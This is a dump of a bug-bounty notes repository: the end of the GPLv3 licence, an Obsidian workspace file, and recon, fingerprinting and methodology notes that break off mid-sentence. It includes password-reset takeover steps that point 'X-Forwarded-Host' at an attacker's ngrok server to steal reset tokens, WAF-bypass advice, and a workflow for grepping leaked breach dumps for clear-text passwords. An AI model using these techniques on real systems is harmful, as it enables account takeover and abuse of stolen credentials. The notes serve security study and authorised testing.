Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------
``` Tag represents plain text, where you will have to use `````` tags example: ```X-Forwarded-Host: bing.com 5 | 6 |  7 | 3. Then forward the request and check your email. You got an email of Password reset with token. Which looks Like ([https://bing.com/users/reset\_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES](https://redacted.com/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES)). 8 | 4. Here token is Leak to the bing.com. So Now to confirm this token is True or not. Put [https://redacted.com](https://redacted.com/) instead of [https://bing.com](https://hackerone.com/redirect?signature=6b4c48def3047486a33dd3013d8956a4d8263bc8&url=https%3A%2F%2Fbing.com) and open in browser. 9 | 10 | 5. So the password reset link is valid and i can able to reset the password. 11 | 12 | ### Exploitation 13 | 1. Create a server via ngrok and consider it as an Attacker's server. 14 | 2. Then Attacker go to the page which is [https://redacted.com/users/forgot\_password](https://redacted.com/users/forgot_password) and type **Victim** username and capture the request in Burp suite. 15 | 3. In captured request Attacker add “**X-Forwarded-Host: ngrok.io**” ngrok.io=ngrok server address. 16 |  17 | 4. . So after that Victim can get the Password reset URL and the domain of that reset link is ngrok server address or domain. (For the exploitation It need victim interaction or one time click only) 18 | 5. Whenever victim is click on that link. Attacker can get the full token in his server. 19 | 6. When attacker can get the password reset token he will only change the ngrok domain name to Main Domain to Takeover the Account. 20 | --- 21 | 22 | ### Method 2 : HTTP Parameter Pollution 23 | 1. Go to [https://anywebsite.com/forgot/](https://dash.readme.io/forgot/) 24 | 2. Start Burp Proxy and start intercepting requests 25 | 3. Enter the email address of the victim on the website and click submit 26 | 4. intercept request on burp and add another email parameter with the attacker’s email address and forward the request 27 | 5. Now you will receive the email from readme regarding account password reset. 28 | 29 | --- 30 | 31 | ### Method 3: Modifing the JSON, to send Pswd Reset Mail on multiple Email IDs 32 | - If in the reset password request there is a post Json parameter => email 33 | ```json 34 | “email":”me@mail.com” 35 | ``` 36 | and the response is 37 | ```json 38 | “msg”:”password reset email sent” 39 | ``` 40 | Try to make the email parameter value as an Array with 2 mails to manipulate the functionality and send the email link to email1 and email2 41 | ```json 42 | { 43 | “email”:[”victimMail”,”attackerMail"] 44 | } 45 | ``` 46 |  47 | If you're lucky the password Reset link will be send to both the Emails. 48 | 49 | **Tip** :- In reset password request 50 | 1. use content type converter burp ext 51 | 2. convert the request to json , if the application accepted it try this trick 52 | 3. convert the request to xml and if the application accepted it u can try xxe 53 | --- -------------------------------------------------------------------------------- /.obsidian/workspace: -------------------------------------------------------------------------------- 1 | { 2 | "main": { 3 | "id": "bca1d3b0c49761cc", 4 | "type": "split", 5 | "children": [ 6 | { 7 | "id": "2e5505c5a1eeeb85", 8 | "type": "leaf", 9 | "state": { 10 | "type": "markdown", 11 | "state": { 12 | "file": "Methodologies/Authentication.md", 13 | "mode": "source" 14 | } 15 | } 16 | }, 17 | { 18 | "id": "ef60661620027d0a", 19 | "type": "leaf", 20 | "state": { 21 | "type": "markdown", 22 | "state": { 23 | "file": "Methodologies/Authentication.md", 24 | "mode": "preview" 25 | } 26 | } 27 | } 28 | ], 29 | "direction": "vertical" 30 | }, 31 | "left": { 32 | "id": "b913eab355b0bcfe", 33 | "type": "split", 34 | "children": [ 35 | { 36 | "id": "4e2782095dffa78d", 37 | "type": "tabs", 38 | "children": [ 39 | { 40 | "id": "1f56794f4faf574f", 41 | "type": "leaf", 42 | "state": { 43 | "type": "file-explorer", 44 | "state": {} 45 | } 46 | }, 47 | { 48 | "id": "967ae47aee414f60", 49 | "type": "leaf", 50 | "state": { 51 | "type": "search", 52 | "state": { 53 | "query": "", 54 | "matchingCase": false, 55 | "explainSearch": false, 56 | "collapseAll": false, 57 | "extraContext": false, 58 | "sortOrder": "alphabetical" 59 | } 60 | } 61 | } 62 | ] 63 | } 64 | ], 65 | "direction": "horizontal", 66 | "width": 229.00079345703125 67 | }, 68 | "right": { 69 | "id": "200e76304085cd16", 70 | "type": "split", 71 | "children": [ 72 | { 73 | "id": "3c58f10166006afe", 74 | "type": "tabs", 75 | "children": [ 76 | { 77 | "id": "6b3cf202be397945", 78 | "type": "leaf", 79 | "state": { 80 | "type": "backlink", 81 | "state": { 82 | "file": "Methodologies/Authentication.md", 83 | "collapseAll": false, 84 | "extraContext": false, 85 | "sortOrder": "alphabetical", 86 | "showSearch": false, 87 | "searchQuery": "", 88 | "backlinkCollapsed": false, 89 | "unlinkedCollapsed": true 90 | } 91 | } 92 | } 93 | ] 94 | } 95 | ], 96 | "direction": "horizontal", 97 | "width": 300, 98 | "collapsed": true 99 | }, 100 | "active": "2e5505c5a1eeeb85", 101 | "lastOpenFiles": [ 102 | "Methodologies/Authentication.md", 103 | "Methodologies/Subdomain-Enumeration-Tecniques.md", 104 | "Methodologies/Account-Takeover.md", 105 | "Untitled.md", 106 | "Methodologies/xss.md", 107 | "Methodologies/Sensitive-Information-Disclosure.md", 108 | "Methodologies/password-reset-flaw.md", 109 | "Methodologies/assets/pswd-reset.png", 110 | "Misc.md", 111 | "Methodologies/README.md" 112 | ] 113 | } -------------------------------------------------------------------------------- /Notes/Fingerprinting.md: -------------------------------------------------------------------------------- 1 | # Fingerprinting Phase 2 | ## Introduction 3 | - The reconnaissance phase is all about finding your targets assets and endpoints.After you find your targets assets you need to fingerprint them. 4 | 5 |  6 | - The purpose of fingerprinting is to find out what technologies are running on your target’s assets.You want to know the technology stacks, version numbers, running services, and anything else that can be used to identify what's running on an endpoint. 7 | 8 | --- 9 | 10 | ## 1. IP 11 | 12 | ### 1.1 Introduction 13 | - During the reconnaissance we gathered CIDR ranges belonging to our target. IP address were also gathered from the DNS resolutions of the target’s subdomains during the subdomain enumeration phase. 14 | - These are the two main ways offinding IPs associated with an organization. Once you have a list of IPs you will want to discover the ports and services running on that endpoint. 15 | ### 1.2 Shodan 16 | - [Shodan](https://www.shodan.io/) is the most popular resource for gathering port scan data. This service scans the entire internet on a daily basis and provides this data to its users. 17 | - If you have your targets CIDR range you can use that to query Shodan. This will display all assets in that CIDR range that have an open port. 18 | ``` bash 19 | net:<”CIDR,CIDR,CIDR”> 20 | ``` 21 | - You can also search via the organizations name. 22 | - One technique you can use is to search for a company's SSL certificate. SSL certificates should have the companies name in them so you can use this to find other assets belonging to an organization. 23 | 24 | ### 1.3 Censys 25 | - Censys does the same thing Shodan does it’s basically a Shodan clone. 26 | - [https://censys.io/ipv4](https://censys.io/ipv4) 27 | - You can often find assets on Censys that aren't on Shodan and vice versa. 28 | ### 1.4 NMAP 29 | - Nmap does a really good job when scanning a small range of hosts but if you are trying to scan a large organization it’s probably not the right tool. 30 | - Nmap is really good at doing a thorough scan, so if you want to scan and enumerate every port on a machine use Nmap. 31 | ### 1.5 Masscan 32 | - Mass scanners are really good at detecting a single port across a huge range of IPs. The tool Masscan was built to scan the entire internet in just a few hours so it should be able to scan a large organization with ease. 33 | - https://github.com/robertdavidgraham/masscan 34 | ```bash 35 | sudo masscan -p --exclude Exclude IP> --banners -oX ``` 36 | ``` 37 | 38 | 39 | ## 2. Web Applications 40 | 41 | ### 2.1 Introduction 42 | - When dealing with domains or web applications we want to perform some additional fingerprinting. We want to know the technology stack, programming languages used, firewalls used, and more. Remember web applications can be found on both IPs and domains, most people forgot about the IPs during this phase. 43 | 44 | ### 2.2 Wappalyzer 45 | - Wappalyzer is by far the best tool for identifying web technologies. Basically, the tool analyzes an applications source code using a bunch of regexes to find out what technologies its running. You can download an extension for your browser. 46 | 47 | ### 2.3 Firewall 48 | - It’s not uncommon to see an application protected by a web application firewall (WAF). Before you start throwing a bunch of XSS payloads at a target you should check to see if there is a WAF. 49 | - https://github.com/EnableSecurity/wafw00f 50 | ```bash 51 | wafoof 52 | ``` 53 |  54 | 55 |  56 | 57 | - The hacking community has been bypassing WAFs ever since the first WAF came out and much of it is documented. 58 | - https://github.com/0xInfection/Awesome-WAF#known-bypasses 59 | 60 | ## Conclusion 61 | - If your testing a web application it’s a good idea to see if it’s protected by a firewall. Web application firewalls (WAFs) are designed to block malicious attacks such as XSS but they all seem to contain bypasses. 62 | - If you discover an application is behind a WAF you need to adjust your payloads so they are able to bypass the firewall. It does no good to spend hours testing for XSS if it’s getting 63 | blocked by a WAF, work smarter not harder. 64 | -------------------------------------------------------------------------------- /Notes/Reconnaissance- Phase1.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 1] 2 | The beginning of the recon phase is broken down into vertical and horizontal correlation. The idea behind horizontal correlation is to find all assets related to a company. This could be acquisitions, CIDR ranges, and domains that are owned by the same person. Vertical correlation when dealing with domains involves finding all subdomains belonging to a single domain. 3 |  4 | [Read](https://0xpatrik.com/asset-discovery/) an Article about Enumeration. 5 | 6 | 7 | ### 1. CIDR Range 8 | - A **Classless Inter-Domain Routing (CIDR)** range is a short way of representing a group of IP addresses 9 | - CIDR ranges can be used to help identify assets belonging to an organization. 10 | - #### ASN 11 | - An** Autonomous System Number (ASN**) is a way to represent a collection of IPs and who owns them. 12 | - ASN Lookup : 13 | - We can use [MxToolbox](https://mxtoolbox.com/asn.aspx) or [Huricane ](https://bgp.he.net/) to find a company’s ASN as well as their correlating CIDR ranges 14 | - #### Reverse Whois 15 | - When registering a domain your information is saved in a whois database. This information contains the *registers name, address, email,* and much more. Searching the whois database we can find all domains registered by the email ***.example.com** 16 | - Using historical whois data to perform reverse whois searches is an excellent way to find domains that were purchased by the same organization. Companies often own more than one domain so finding these additional assets can help widen your scope. 17 | - #### Reverse DNS 18 | - DNS records contain several bits of information that can be used to correlate domains to one another. The A, NS, and MX records are the most popular ways to find domains that are likely to be owned by the same person. 19 | - If domains share the same A, NS, or MX record then it is possible they are owned by the same person. We can use reverse IP, reverse name server, and reverse mail server searches to find these domains. 20 | - #### Reverse Name Server 21 | -  22 | - We can use the tool called [Domaineye](assets/dns-server-lookup) 23 | - #### Reverse Mail Server 24 | -  25 | - We can use the same technique to perform reverse mail server searches. Just like before the MX record returned must be owned by the target organization. 26 | - Conclusion 27 | - DNS records can be used to tie domains together. If domains share the same A, NS, or MX record we can assume they are owned by the same entity. There may be some false positives but these can be filtered out. 28 | - It Will increase Your Scope in Bug Hunting. 29 | 30 | 31 | ### 2. Google Dorking 32 | 33 | - Dorking is no doubt a great option for filtering your results according to your purpose. We can perform several tasks through the google dorking. For Example: 34 | - We can then take that copyright text (A Copyright statement is unique for each website, located at the bottom of the web page) and search for every other website that contains this text. 35 | - intext:"© 2021 realself, inc. all rights reserved. realself is a registered trademark of realself, inc." 36 | -  37 | 38 | 39 | ### 3. Tools - Amass 40 | 41 | - Amass is the most popular asset discovery tool there is. This tool has many features and acts as the Swiss army knife of asset discovery. 42 | - We can perform several Discovery Actions using this tool. Some of the Informations that can be revealed using this tool are listed below: 43 | - ASN: we can use a company’s ASN number to find a list of assets belong to the organization. First, we must find a list ASN numbers assigned to an organization using the following amass command: 44 | ``` 45 | amass intel -org 46 | ``` 47 |  48 | - This command will return a list of ASN numbers that might belong to the organization. 49 | - CIDR Range: Now that you have a list of ASN numbers you can find the associated CIDR range by using the following bash command: 50 | ``` 51 | whois -h whois.radb.net -- '-i origin ' | grep -Eo "([0-9.]+){4}/[0-9]+" | sort -u 52 | ``` 53 | -  54 | - List of Domain: You can also use amass to find a list of domains running on a given ASN. This will use reverse IP searches to find domains running on the IPs in the specified ASN. The following command can be used to find domains running on a given ASN: 55 | ``` 56 | amass intel -asn 57 | ``` 58 | - Amass can also be used to find domains on a given CIDR range. We can use the following command to find these endpoints: 59 | ``` 60 | amass intel -cidr 61 | ``` 62 | - Reverse Whois: Given a specific domain amass can utilize reverse whois searches to find other domains purchased by the same user. The following command can be used to issue this request: 63 | ``` 64 | amass intel -whois -d 65 | ``` 66 | -------------------------------------------------------------------------------- /Notes/Methodology - Workflows.md: -------------------------------------------------------------------------------- 1 | # Methodology - Workflow 2 | Before you start trying to hack something you need to come up with a high-level plan of attack. 3 | 4 | ## 1. Traditional Workflow 5 | This is the Traditional Workflow : 6 |  7 | #### 1. Domain 8 | - Pick a Company / Organization hosting the Bug Bounty Program. 9 | - Locate all domains belonging to that company 10 | - Perform DNS resolution to determine the A, NS, MX, and NAME records of each target. (All A records should be added to a list of IPs belonging to the company.) 11 | 12 | #### 2. CIDR 13 | A CIDR range is just a range of IP addresses belonging to an organization. 14 | - Large companies tend to have their own CIDR ranges but smaller companies will typically rent servers from a third-party vendor such as Rackspace or amazon web services (AWS) so they won’t have a CIDR range 15 | 16 | #### 3. IP 17 | - Perform a port scan of each port of the IP Addresses obtained. 18 | - If you don’t properly fingerprint each host you will be missing potential vulnerabilities. 19 | 20 | #### 4. Web Application 21 | - The final step in this recon process is to take the list of subdomains and IPs running a web application and perform fingerprinting and content discovery on them. 22 | - For instance, if you see a site is running WordPress you might run a WordPress scanner on it. If you see an Apache Struts page you might try some known CVEs for that, the list goes on. 23 | - After your fingerprint the host you will want to perform content discovery. 24 | 25 | 26 | ## 2. Github Workflow 27 | Sometimes developers will upload hard coded credentials in their source code and config files for the world to see. The workflow is: 28 |  29 | - With a little recon you can find the repositories (used to manage and store the source code) and if you get lucky you will find some hard-coded credentials that can be used to login to their application or server. 30 | 31 | 32 | ## 3. Cloud Workflow 33 | The VPS, database, storage, and everything else can be hosted in the cloud. The workflow for Cloud Architecture is: 34 |  35 | Note: S3 buckets is a place to store files, it acts as your cloud storage. 36 | - Sometimes companies will leave these open to the public allowing people to download sensitive data. AWS is not the only one impacted by this, nearly all cloud providers share this misconfiguration. 37 | - check each cloud provider to see if your target has any assets with a misconfigured storage bucket. 38 | 39 | 40 | ## 4. Google Dork Workflow 41 | Google dorks allow you to filter through the massive amount of data Google collects to find specific things, for example if you only want to show PDF 42 | files hosted on an endpoint there is a dork for that. 43 |  44 | - Use google dorks to locate sensitive information on third party sites that a target uses. 45 | 46 | 47 | ## 5. Leaked Credentials Workflow 48 | This workflow might be out of scope. 49 |  50 | - First you must go out and find all of these database leaks. These can be downloaded for free by simply searching on google. 51 | - The final step is to grep through these files for your target domain, something like the final step is to grep through these files for your target domain, something like “*@example.com”. After that is completed you should have a list of emails with their associated clear text password. After that is completed you should have a list of emails with their associated clear text password. 52 | 53 | 54 | ## 6. Exploit Workflows 55 | 56 | ### 6.1 New CVE Workflow 57 | - The second a new CVE drops with a working POC you want to be exploiting it. This workflow only happens every so often and you have to act fast when it does. 58 |  59 | - Let's say some dude named Orange drops a Palo alto firewall RCE exploit. You will need to figure out if your targets are running Palo alto so you can launch the exploit. You don’t want to 